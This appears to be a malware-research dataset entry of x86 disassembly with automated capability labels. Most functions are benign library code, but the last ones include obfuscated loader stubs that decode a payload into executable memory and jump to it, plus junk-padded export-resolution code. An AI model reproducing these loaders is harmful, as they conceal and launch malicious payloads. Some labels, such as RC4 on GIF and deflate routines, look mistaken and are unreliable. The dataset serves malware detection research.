joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100b3210
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 8], 0
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
mov dword [ebp - 4], edi
je 0x100b32c4
mov eax, dword [ebp + 0xc]
xor esi, esi
nop dword [eax]
imul eax, eax, 0x2e90edd
inc eax
mov dword [esi + 0x101a46d0], eax
add esi, 4
cmp esi, 0x10
jb 0x100b3230
mov ecx, dword [0x101a46d8]
mov esi, 0x101a46d4
xor ecx, dword [0x101a46d0]
mov edi, 0x7b
mov eax, dword [0x101a46dc]
shr ecx, 0x1f
add eax, eax
or ecx, eax
mov dword [0x101a46dc], ecx
nop dword [eax]
mov ecx, dword [esi - 4]
lea esi, [esi + 4]
xor ecx, dword [esi]
mov eax, dword [esi + 4]
add ecx, ecx
xor eax, dword [esi - 4]
shr eax, 0x1f
or ecx, eax
mov dword [esi + 8], ecx
sub edi, 1
jne 0x100b3270
mov esi, dword [sym.imp.WS2_32.dll_htonl]
xor ecx, ecx
mov edi, dword [ebp - 4]
mov dword [0x101a42e4], ecx
nop
push dword [ecx*4 + 0x101a46d0]
call esi
mov ecx, dword [0x101a42e4]
mov dword [ecx*4 + 0x101a46d0], eax
inc ecx
mov dword [0x101a42e4], ecx
cmp ecx, 0x7f
jb 0x100b32a0
jmp 0x100b32ca
mov ecx, dword [0x101a42e4]
test ebx, ebx
je 0x100b3309
lea esi, [ecx + 1]
lea edx, [esi - 0x40]
mov eax, esi
and edx, 0x7f
lea edi, [edi + 4]
and eax, 0x7f
inc esi
mov edx, dword [edx*4 + 0x101a46d0]
xor edx, dword [eax*4 + 0x101a46d0]
mov eax, ecx
xor dword [edi - 4], edx
and eax, 0x7f
inc ecx
mov dword [eax*4 + 0x101a46d0], edx
sub ebx, 1
jne 0x100b32d1
mov dword [0x101a42e4], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100bf8b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov ebx, ecx
mov word [ebp - 4], 0xffff
push edi
push 2
push 1
mov eax, dword [ebx]
lea ecx, [ebp - 4]
push ecx
push dword [ebx + 4]
mov dword [ebp - 8], ebx
xor esi, esi
mov eax, dword [eax]
xor edi, edi
call eax
add esp, 0x10
mov ecx, ebx
call fcn.100a8910
cmp eax, 0x80008
jne 0x100bf9db
mov ecx, ebx
call fcn.100a8910
test eax, eax
je 0x100bf9db
mov ecx, ebx
call fcn.100a88b0
movzx eax, ax
mov dword [ebp - 0x1c], eax
cmp eax, 0xa
je 0x100bf918
cmp eax, 0xc
jne 0x100bf9db
mov ecx, 0x20
mov dword [ebp - 0xc], esi
sub ecx, eax
mov dword [ebp - 0x14], 8
mov dword [ebp - 0x18], ecx
mov ecx, ebx
lea ebx, [ecx + 0x66e4]
mov edx, 8
mov dword [ebp - 0x10], edx
nop dword [eax]
cmp esi, eax
jge 0x100bf9a7
mov eax, dword [ecx]
lea edx, [ebp - 4]
push 2
push 1
push edx
push dword [ecx + 4]
mov word [ebp - 4], 0xffff
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 8]
mov ecx, 0x4949
add esp, 0x10
cmp word [eax + 0x6274], cx
jne 0x100bf979
movzx eax, byte [ebp - 3]
movzx ecx, byte [ebp - 4]
jmp 0x100bf981
movzx eax, byte [ebp - 4]
movzx ecx, byte [ebp - 3]
mov edx, dword [ebp - 0xc]
shl eax, 8
or eax, ecx
shl edi, 0x10
mov ecx, edx
inc edx
and ecx, 1
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 0x10]
movzx ecx, word [ecx*2 + 0x101642e8]
xor ecx, eax
or edi, ecx
add esi, 0x10
mov ecx, 0x20
mov eax, edi
sub ecx, esi
shl eax, cl
mov ecx, dword [ebp - 0x18]
shr eax, cl
mov ecx, dword [ebp - 8]
mov word [ebx], ax
add ebx, 2
mov eax, dword [ebp - 0x1c]
sub esi, eax
sub edx, 1
mov dword [ebp - 0x10], edx
jne 0x100bf940
sub dword [ebp - 0x14], 1
jne 0x100bf934
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100c2780
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x1019c020]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
mov ebx, 2
push ebx
push ebx
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x14], edi
mov eax, dword [edi]
xorps xmm0, xmm0
push ecx
push dword [edi + 4]
mov dword [ebp - 0x10], ebx
mov eax, dword [eax]
movups xmmword [ebp - 0x28], xmm0
call eax
movsd xmm0, qword [ebp - 0x20]
add esp, 0x10
movsd qword [ebp - 0x30], xmm0
mov eax, 0xfffe
movsd xmm0, qword [ebp - 0x28]
movsd qword [ebp - 0x20], xmm0
dec eax
lea esi, [ebp - 0xc]
push 1
mov dword [ebp - 0x18], eax
lea esi, [esi + ebx*2]
mov eax, dword [edi]
push 2
push esi
push dword [edi + 4]
mov eax, dword [eax]
call eax
movzx esi, byte [esi]
xor ebx, 2
add esp, 0x10
movzx edi, byte [ebp + ebx*2 - 0xc]
movzx edx, byte [ebp + ebx*2 - 0xb]
mov eax, edi
shl eax, 8
or edx, eax
mov eax, dword [ebp - 0x10]
movzx ecx, byte [ebp + eax*2 - 0xb]
mov eax, esi
shl eax, 8
or ecx, eax
sub edx, ecx
movzx ecx, byte [ebp + ebx*2 - 0xb]
mov ebx, dword [ebp - 0x10]
shl ecx, 8
or ecx, edi
mov edi, dword [ebp - 0x14]
movd xmm0, edx
movzx eax, byte [ebp + ebx*2 - 0xb]
inc ebx
cvtdq2pd xmm0, xmm0
shl eax, 8
and ebx, 3
or eax, esi
mov dword [ebp - 0x10], ebx
sub ecx, eax
mov eax, dword [ebp - 0x18]
mulsd xmm0, xmm0
addsd xmm0, qword [ebp - 0x20]
movaps xmm1, xmm0
movd xmm0, ecx
movsd qword [ebp - 0x20], xmm1
cvtdq2pd xmm0, xmm0
mulsd xmm0, xmm0
addsd xmm0, qword [ebp - 0x30]
movsd qword [ebp - 0x30], xmm0
test eax, eax
jne 0x100c27d2
comisd xmm0, xmm1
mov ecx, 0x4d4d
mov eax, 0x4949
pop edi
pop esi
pop ebx
cmova eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1012b4a2
mov esp, ebp
pop ebp
ret
Function at 0x100ee460
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, ecx
mov esi, dword [edi + 0x2c]
nop
mov eax, dword [edi + 0x2c]
mov edx, dword [edi + 0x3c]
add eax, 0xfffffefa
sub edx, dword [edi + 0x74]
add eax, esi
sub edx, dword [edi + 0x6c]
mov dword [ebp - 4], edx
cmp dword [edi + 0x6c], eax
jb 0x100ee4ef
mov ecx, dword [edi + 0x38]
push esi
lea eax, [ecx + esi]
push eax
push ecx
call fcn.1012d9d0
mov edx, dword [edi + 0x4c]
add esp, 0xc
mov eax, dword [edi + 0x44]
sub dword [edi + 0x70], esi
sub dword [edi + 0x6c], esi
sub dword [edi + 0x5c], esi
lea ecx, [eax + edx*2]
nop
movzx eax, word [ecx - 2]
lea ecx, [ecx - 2]
cmp eax, esi
jb 0x100ee4bf
sub eax, esi
jmp 0x100ee4c1
xor eax, eax
mov word [ecx], ax
sub edx, 1
jne 0x100ee4b0
mov eax, dword [edi + 0x40]
mov edx, esi
lea ecx, [eax + esi*2]
movzx eax, word [ecx - 2]
lea ecx, [ecx - 2]
cmp eax, esi
jb 0x100ee4e0
sub eax, esi
jmp 0x100ee4e2
xor eax, eax
mov word [ecx], ax
sub edx, 1
jne 0x100ee4d1
mov edx, dword [ebp - 4]
add edx, esi
mov ebx, dword [edi]
cmp dword [ebx + 4], 0
je 0x100ee623
mov eax, dword [edi + 0x74]
add eax, dword [edi + 0x6c]
add eax, dword [edi + 0x38]
mov dword [ebp - 8], eax
mov eax, dword [ebx + 4]
cmp eax, edx
mov ecx, eax
cmova ecx, edx
mov dword [ebp - 4], ecx
test ecx, ecx
jne 0x100ee51c
xor eax, eax
jmp 0x100ee56f
sub eax, ecx
mov dword [ebx + 4], eax
mov eax, dword [ebx + 0x1c]
mov eax, dword [eax + 0x18]
cmp eax, 1
jne 0x100ee539
mov edx, dword [ebx]
push ecx
mov ecx, dword [ebx + 0x30]
call fcn.100ef4e0
jmp 0x100ee551
cmp eax, 2
jne 0x100ee557
mov edx, dword [ebx]
test edx, edx
jne 0x100ee548
xor eax, eax
jmp 0x100ee554
push ecx
mov ecx, dword [ebx + 0x30]
call fcn.100ef780
add esp, 4
mov dword [ebx + 0x30], eax
push dword [ebp - 4]
push dword [ebx]
push dword [ebp - 8]
call fcn.1012d9d0
mov eax, dword [ebp - 4]
add esp, 0xc
add dword [ebx], eax
add dword [ebx + 8], eax
add dword [edi + 0x74], eax
mov ebx, dword [edi + 0x74]
cmp ebx, 3
jb 0x100ee597
mov eax, dword [edi + 0x38]
add eax, dword [edi + 0x6c]
mov ecx, dword [edi + 0x58]
movzx edx, byte [eax]
mov dword [edi + 0x48], edx
movzx eax, byte [eax + 1]
shl edx, cl
xor edx, eax
and edx, dword [edi + 0x54]
mov dword [edi + 0x48], edx
cmp ebx, 0x106
jae 0x100ee5ab
mov eax, dword [edi]
cmp dword [eax + 4], 0
jne 0x100ee470
mov edx, dword [edi + 0x16c0]
mov ecx, dword [edi + 0x3c]
cmp edx, ecx
jae 0x100ee623
mov esi, dword [edi + 0x6c]
add esi, ebx
cmp edx, esi
jae 0x100ee5f3
sub ecx, esi
mov eax, 0x102
cmp ecx, eax
cmova ecx, eax
mov eax, dword [edi + 0x38]
push ecx
add eax, esi
mov dword [ebp - 8], ecx
push 0
push eax
call fcn.1012df50
mov eax, dword [ebp - 8]
add esp, 0xc
add eax, esi
mov dword [edi + 0x16c0], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [esi + 0x102]
cmp edx, eax
jae 0x100ee623
mov eax, dword [edi + 0x38]
sub esi, edx
sub ecx, edx
add esi, 0x102
cmp esi, ecx
cmova esi, ecx
add eax, edx
push esi
push 0
push eax
call fcn.1012df50
add esp, 0xc
add dword [edi + 0x16c0], esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100ef760
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
test edx, edx
jne 0x100ef76b
xor eax, eax
pop ebp
ret
pop ebp
jmp fcn.100ef780
Function at 0x100f23f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ecx + 4]
test eax, eax
jne 0x100f23fe
pop ebp
ret 0xc
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1013019f
add esp, 0x10
pop ebp
ret 0xc

Function at 0x100f24f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ecx + 4]
test eax, eax
jne 0x100f24fe
pop ebp
ret 0xc
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10130d3f
add esp, 0x10
pop ebp
ret 0xc

Function at 0x100f28f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1019c020]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
push 0x10151348
xor esi, esi
push eax
mov dword [ebp - 0x1c], esi
call fcn.1012f9e8
mov edi, eax
add esp, 8
mov dword [ebp - 0x18], edi
test edi, edi
je 0x100f29e6
push edi
push 8
lea eax, [ebp - 0xc]
push 1
push eax
call fcn.1013019f
add esp, 0x10
cmp eax, 8
jne 0x100f29dd
push eax
lea eax, [ebp - 0xc]
push esi
push eax
call fcn.10093490
add esp, 0xc
test eax, eax
jne 0x100f29dd
push eax
push eax
push eax
push str.1.6.35apng
call fcn.10096c60
push eax
mov dword [ebp - 0x10], eax
call fcn.100939b0
mov ecx, dword [ebp - 0x10]
add esp, 0x14
mov dword [ebp - 0x14], eax
test ecx, ecx
je 0x100f29dd
test eax, eax
je 0x100f29dd
push 0x40
push fcn.1012e0aa
push ecx
call fcn.10098450
push esi
push eax
call fcn.1012e0c0
mov edi, dword [ebp - 0x18]
add esp, 0x14
test eax, eax
jne 0x100f29da
push edi
push dword [ebp - 0x10]
call fcn.10094180
push 8
push dword [ebp - 0x10]
call fcn.10093460
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call fcn.10096cf0
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call fcn.1009db70
mov esi, eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x1c], esi
push eax
call fcn.1009d9a0
add esp, 0x28
jmp 0x100f29dd
mov esi, dword [ebp - 0x1c]
push edi
call fcn.1012fa8c
add esp, 4
mov ecx, dword [ebp - 4]
xor eax, eax
test esi, esi
pop edi
cmovle esi, eax
xor ecx, ebp
mov eax, esi
pop esi
call fcn.1012b4a2
mov esp, ebp
pop ebp
ret

Function at 0x100f2a00
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.100f28f0

Function at 0x100f2cb0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ecx]
test ecx, ecx
je 0x100f2cbf
pop ebp
jmp fcn.100f2a10
xor al, al
pop ebp
ret 4
Function at 0x101071b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push esi
push edi
mov edi, ecx
mov ecx, dword [ebp + 8]
mov dword [edi + 0x44c], eax
mov eax, 1
shl ax, cl
dec ax
mov dword [edi + 0x448], ecx
mov word [edi + 0x440], ax
mov eax, 1
mov dword [edi + 0x43c], ecx
dec ecx
shl eax, cl
mov ecx, edi
mov dword [edi + 0x450], eax
inc eax
mov dword [edi + 0x454], eax
mov ax, word [edi + 0x450]
add ax, 2
mov dword [edi + 0x444], 0
mov dword [edi + 0x3e8], 0
mov dword [edi + 0x3e4], 0
mov word [edi + 0x442], ax
mov dword [edi + 0x458], 0
call sym.FreeImageRender.dll_protected:_int___thiscall_CxImageGIF::GifNextPixel_void_
mov esi, eax
xor edx, edx
mov dword [ebp + 8], esi
mov ecx, 0x138b
add ecx, ecx
inc edx
cmp ecx, 0x10000
jl 0x10107243
mov eax, 8
mov ecx, edi
sub eax, edx
push 0x138b
mov dword [ebp - 4], eax
call sym.FreeImageRender.dll_protected:_void___thiscall_CxImageGIF::cl_hash_int_
movzx eax, word [edi + 0x450]
mov ecx, edi
push eax
call sym.FreeImageRender.dll_protected:_void___thiscall_CxImageGIF::output_short_int_
mov ecx, edi
call sym.FreeImageRender.dll_protected:_int___thiscall_CxImageGIF::GifNextPixel_void_
mov dword [ebp + 0xc], eax
cmp eax, 0xffffffff
je 0x10107371
push ebx
mov ecx, dword [ebp - 4]
mov ebx, eax
mov edx, dword [ebp + 8]
shl ebx, 0xc
add ebx, esi
movsx esi, ax
mov eax, dword [edi + 0x434]
shl esi, cl
xor esi, edx
mov eax, dword [eax + esi*4]
cmp eax, ebx
jne 0x101072ba
mov eax, dword [edi + 0x438]
movzx esi, word [eax + esi*2]
mov dword [ebp + 8], esi
jmp 0x1010735d
test eax, eax
js 0x101072ee
mov ecx, 0x138b
mov eax, 1
sub ecx, esi
test esi, esi
cmove ecx, eax
nop
sub esi, ecx
mov eax, esi
lea esi, [esi + 0x138b]
cmovns esi, eax
mov eax, dword [edi + 0x434]
mov eax, dword [eax + esi*4]
cmp eax, ebx
je 0x101072a8
test eax, eax
jg 0x101072d0
push edx
mov ecx, edi
call sym.FreeImageRender.dll_protected:_void___thiscall_CxImageGIF::output_short_int_
movzx ecx, word [edi + 0x442]
mov eax, 0x1000
mov edx, dword [ebp + 0xc]
mov dword [ebp + 8], edx
cmp cx, ax
jge 0x1010732b
mov eax, dword [edi + 0x438]
mov word [eax + esi*2], cx
mov eax, dword [edi + 0x434]
inc word [edi + 0x442]
mov dword [eax + esi*4], ebx
mov esi, edx
jmp 0x1010735d
push 0x138b
mov ecx, edi
call sym.FreeImageRender.dll_protected:_void___thiscall_CxImageGIF::cl_hash_int_
movzx ecx, word [edi + 0x450]
push ecx
mov dword [edi + 0x444], 1
lea eax, [ecx + 2]
mov ecx, edi
mov word [edi + 0x442], ax
call sym.FreeImageRender.dll_protected:_void___thiscall_CxImageGIF::output_short_int_
mov esi, dword [ebp + 8]
mov ecx, edi
call sym.FreeImageRender.dll_protected:_int___thiscall_CxImageGIF::GifNextPixel_void_
mov dword [ebp + 0xc], eax
cmp eax, 0xffffffff
jne 0x10107287
pop ebx
push esi
mov ecx, edi
call sym.FreeImageRender.dll_protected:_void___thiscall_CxImageGIF::output_short_int_
movzx eax, word [edi + 0x454]
mov ecx, edi
push eax
call sym.FreeImageRender.dll_protected:_void___thiscall_CxImageGIF::output_short_int_
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x10112b00
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1014f3e6
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x1019c020]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esi + 0x3e4]
mov dword [esi], vtable.CxImageMNG.0
test eax, eax
je 0x10112b60
push eax
mov byte [esi + 0x3fb], 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x1f4
push dword [esi + 0x3e4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x3e4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 0x3dc]
test eax, eax
je 0x10112b73
push eax
call fcn.1012f84b
add esp, 4
mov eax, dword [esi + 0x3e0]
test eax, eax
je 0x10112b86
push eax
call fcn.1012f84b
add esp, 4
cmp dword [esi + 0x3d4], 0
lea eax, [esi + 0x3d4]
je 0x10112b9e
push eax
call fcn.10062fa0
add esp, 4
mov ecx, esi
mov dword [ebp - 4], 0
mov dword [esi], vtable.CxImage.0
call sym.FreeImageRender.dll_public:_bool___thiscall_CxImage::DestroyFrames_void_
mov ecx, esi
call sym.FreeImageRender.dll_public:_bool___thiscall_CxImage::Destroy_void_
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10142e1e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10142c9d

Function at 0x101491e0
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10148ea0

Function at 0x10001430
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10003020]
jne 0x1000143a
repz ret
jmp fcn.100017d0

Function at 0x1000148d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x1000149c
pop dword [ebp - 0x34]
mov eax, 0x29731e6f
add eax, 0xe68cf62d
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x39e657e2
sub dword [ebp - 0x44], 0xeb941297
mov dword [ebp - 0x40], 0x7526f006
add dword [ebp - 0x40], 0xbd0c5c3f
mov dword [ebp - 0x3c], 0xd6906ffe
sub dword [ebp - 0x3c], 0x8a442bd0
mov dword [ebp - 0x38], 0x15649f81
add dword [ebp - 0x38], 0xea9b607f
lea eax, [ebp - 0x44]
push eax
mov eax, 0xfd6b8825
sub eax, 0xed6b77d5
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x20676743
add dword [ebp - 0x44], 0x540b0213
mov dword [ebp - 0x40], 0xe1cc72f2
add dword [ebp - 0x40], 0x5f9fee83
mov dword [ebp - 0x3c], 0x49639ab3
sub dword [ebp - 0x3c], 0xe5f42e47
mov dword [ebp - 0x38], 0x25c8ddd
sub dword [ebp - 0x38], 0x25c8ddd
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x179174cb
add eax, 0xf86e9b75
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x32767
push 0
call eax
mov ecx, 0x1f5d1753
add ecx, 0xe0a3209c
mov ebx, eax
mov edx, 0x62bdeddb
sub edx, 0x52bd9bdb
add edx, dword [ebp - 0x34]
mov edi, 0xb791f365
add dword [ebp - 0x1c], edx
mov esi, dword [edx]
xor dword [ebp - 0x10], esi
xor esi, edi
xor dword [ebp - 0xc], ebx
mov dword [ebx], esi
xor dword [ebp - 0x14], edi
add ebx, 4
add edx, 0x51dc51f2
sub edx, 0x51dc51ee
loop 0x100015b8
add eax, 0xb386bc9b
add eax, 0x4c7a15f4
mov ebx, eax
add eax, 0x2c11503f
sub eax, 0x2c11503a
mov ecx, 0x9ac816a8
add ecx, 0x7537e958
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x102ddb6b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
dec esi
popal
insd dword es:[edi], dx
add byte gs:[eax], al
add byte [ebx + 0x65], dl
je 0x1021ba50
jne 0x1021ba81
jae 0x1021ba80
jb 0x1021ba13
pushfd
test al, 0x81
add edi, eax
stc
pushal
test bh, 0x29
mov edi, dword [edi + ecx*4]
call fcn.102c409d
add byte [eax], al
inc ebp
outsb dx, byte [esi]
popal
bound ebp, qword [ebp + 0x53]
arpl word [edx + 0x6f], si
insb byte es:[edi], dx
insb byte es:[edi], dx
inc edx
popal
jb 0x1021ba37
add byte [eax], al
dec esp
outsd dx, dword [esi]
popal
push ebx
je 0x1021bab2
imul ebp, dword [esi + 0x67], 0x29180041
push ss
cmpsb byte [esi], byte es:[edi]
out dx, eax
test al, 0x31
push es
jb 0x1021ba02
add ah, byte [ebx - 0x7b]
fiadd word [esi - 0x46]
cmp dword [edx], ecx
into
arpl word [ebp + 0x39ba46de], ax
or cl, dh
mov ch, 0x8b
test dword [eax + 0x58], 0x7d9e393a
push eax
iretd
cmp dword [ebx + 0x341f56ec], 0xea0f2e65
add eax, 0x2e7229e6
mov ebx, 0x341f56ec
pminsw mm0, qword cs:[0x2e7229e6]
test byte [0x1b8273da], bl
sahf
mov ecx, 0xe382b180
push ecx
adc dword [ebx + 0x300322a3], edx
xor eax, 0xdf936729
shl byte [ecx + ebp*2 + 0x3f], 0xab
mov ah, 0xaa
push ss
daa
jnp 0x1021bb16
xor byte [ebp + edx*4 - 0x4364cb15], bl
iretd
invalid
adc di, 0x53ca
mov di, 0xa9f9
bts di, ax
movzx di, cl
mov edi, dword [edx + 0x1c]
bt cx, 3
call fcn.102dd194
sub dx, 0x9068
sbb dh, dh
btc dx, sp
add esi, eax
or dh, ah
add dh, 0xa6
mov dh, 0x3b
cmp eax, ecx
mov edx, dword [esi + 0x78]
test di, 0x249a
test edx, edx
push dword [esp]
pushfd
mov byte [esp + 4], 0x64
pushal
lea esp, [esp + 0x2c]
je 0x1021be16
lea ecx, [eax + 0x57982f66]
ror cl, 1
ror cx, 0xb
neg cl
add edx, eax
bsr cx, bp
and cx, 0xebdb
shl cx, 6
mov ecx, dword [esi + 0x7c]
test ecx, 0xd8fa7f1
add ecx, edx
bt ebp, 0xa
mov dword [ebp - 0x10], ecx
adc cx, bx
not cl
mov ecx, dword [ebp + 0xc]
stc
pushfd
cmp ecx, 0xffff
mov byte [esp], 0
mov dword [esp], 0x31802bbd
lea esp, [esp + 4]
jbe 0x10365e67
shld edi, ecx, 0x14
movsx ebx, dl
mov edi, dword [edx + 0x24]
clc
bsf bx, bx
rcl cx, cl
setns bl
add edi, eax
sal cl, 3
mov ebx, dword [edx + 0x20]
pushfd
and ch, 0x7c
sbb cx, di
mov word [esp], sp
add ebx, eax
rol cl, cl
cmc
pop ecx
bt edx, 0x1e
mov dword [ebp - 8], 0
adc ch, cl
movzx cx, cl
mov ecx, dword [edx + 0x18]
call fcn.102e0335
xchg word [ebx], ax
pushal
mov dword [esp + 0x1c], 0x97933ede
mov byte [esp], 0x5e
push 0xd11bfef6
push esp
mov dword [esp + 0x20], 0x1016cbd5
push 0xeb389ba7
mov byte [esp], dl
lea esp, [esp + 0x24]
jmp 0x1073f265
lea esp, [esp + 0x24]
jae 0x1021be16
push eax
push dword [esp]
lea esp, [esp + 8]
jmp 0x1036270d
jmp 0x102dff99
or di, 0xb603
jg 0x102ddb05
sal di, cl
dec di
mov edi, dword [edx + 0x1c]
jmp 0x1021ba13
bt di, 2
sub ecx, dword [edx + 0x10]
push edi
cmc
cmp ecx, dword [edx + 0x14]
mov byte [esp], dl
pushal
jmp 0x10362679
jmp 0x10740b3f
pushal
mov dword [esp + 0x1c], esi
pushfd
mov byte [esp + 0x10], ch
lea esp, [esp + 0x20]
jmp 0x107401a2
Function at 0x402f75
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402fb4
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402fb4
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402fb4
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402fb4
cmp dword [ecx + 0x74], 0xe
jbe 0x402fb4
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x41dc58
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x41dc67
pop dword [ebp - 0x50]
mov eax, 0x41dc67
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x5f790649
sub dword [ebp - 0x60], 0x1126c0fe
mov dword [ebp - 0x5c], 0xc4741f85
add dword [ebp - 0x5c], 0x6dbf2cc0
mov dword [ebp - 0x58], 0x5aed98c5
sub dword [ebp - 0x58], 0xea15497
mov dword [ebp - 0x54], 0x18878413
add dword [ebp - 0x54], 0xe7787bed
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xe27df361
add dword [ebp - 0x60], 0x91f475f5
mov dword [ebp - 0x5c], 0xf6ee4a66
sub dword [ebp - 0x5c], 0xb581e8f1
mov dword [ebp - 0x58], 0x9c68bbe8
add dword [ebp - 0x58], 0xc706b084
mov dword [ebp - 0x54], 0x6613109c
add dword [ebp - 0x54], 0x99ecef64
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x5ddb4bff
add eax, 0xa2670459
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3eea2
push 0
call eax
mov ecx, 0x4dfd633a
sub ecx, 0x4dfd1681
mov edi, eax
mov ebx, 0x43da00
add ebx, dword [ebp - 0x50]
mov edx, 0x6b096730
sub dword [ebp - 0x20], 0xd17cf228
mov esi, dword [ebx]
sub dword [ebp - 0x28], 0x6394ca53
sub esi, edx
mov dword [edi], esi
xor dword [ebp - 0x30], eax
add edi, 0xfabb1b6f
add edi, 0x544e495
add ebx, 4
loop 0x41dd73
add eax, 0x242902f8
sub eax, 0x2427dd41
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret